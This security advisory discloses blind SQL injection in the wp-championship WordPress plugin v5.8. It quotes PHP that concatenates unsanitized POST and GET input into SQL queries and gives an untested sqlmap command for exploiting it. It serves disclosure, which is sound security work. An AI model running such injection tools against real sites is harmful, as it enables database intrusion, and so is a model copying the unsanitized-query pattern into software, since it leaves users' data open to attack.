Advisory #: 155
Title: Blind SQL injection in wp-championship wordpress plugin v5.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-10-22
[CVE-2015-5308]
Download Site: https://wordpress.org/plugins/wp-championship/
Vendor: https://profiles.wordpress.org/tuxlog/ http://www.tuxlog.de/
Vendor Notified: 2015-10-23
Vendor Contact: webmaster@tuxlog.de
Advisory: http://www.vapid.dhs.org/advisory.php?v=155
Description: wp-championship is a plugin for wordpress letting you play a guessing game of a tournament e.g. soccer.
Vulnerability:
The following lines do not properly sanitize user input resulting in SQLi, injection points are POST request To user, isadmin,mail service,mailresceipt,stellv,champtipp and tippgroup. Also GET requests to userid. The code from cs_admin_users.php is as follows: 69 $sql="select count(*) as anz from $cs_users where userid=".$_POST['user'].";"; 70 $results = $wpdb->get_row($sql); . . 74 $sql = "insert into ". $cs_users ." values (". $_POST['user'] . "," . $_POST['isadmin'] . "," . $ _POST['mailservice'] . "," .$_POST['mailreceipt'] . "," . $_POST['stellv'] . ",".$_POST['champtipp'].",'1900-01-01 00:00:00',-1,'".$_POST ['tippgroup']."');"; 75 $results = $wpdb->query($sql); . . 86 $sql = "update ".$cs_users." set admin=" . $_POST['isadmin'] . ", mailservice=" . $_POST['mailservice'] . ", mailreceipt=" . $_POST['mailreceipt'] . ",stellvertreter=" . $_POST['stellv'] . ",champion=" . $_POST['champtipp'] . ", tippgroup='".$ _POST['tippgroup']."' where userid=".$_POST['user'].";"; 87 $results = $wpdb->query($sql); . . 98 $sql= "delete from ".$cs_users." where userid=".$_GET['userid'].";"; 99 $results = $wpdb->query($sql); . . 110 $sql= "select * from $cs_users where userid=".$_GET['userid'].";"; 111 $results = $wpdb->get_row($sql);
Export: JSON TEXT XML
Exploit Code:
  1. Untested:
  2. $ sqlmap -u 'http://wp.site:80/wp-admin/wp-championship/cs_admin_users.php&userid=' --data="isadmin=1&user" --cookie=AUTH_COOKIE_HERE --level=5 --risk=3
Screen Shots:
Notes: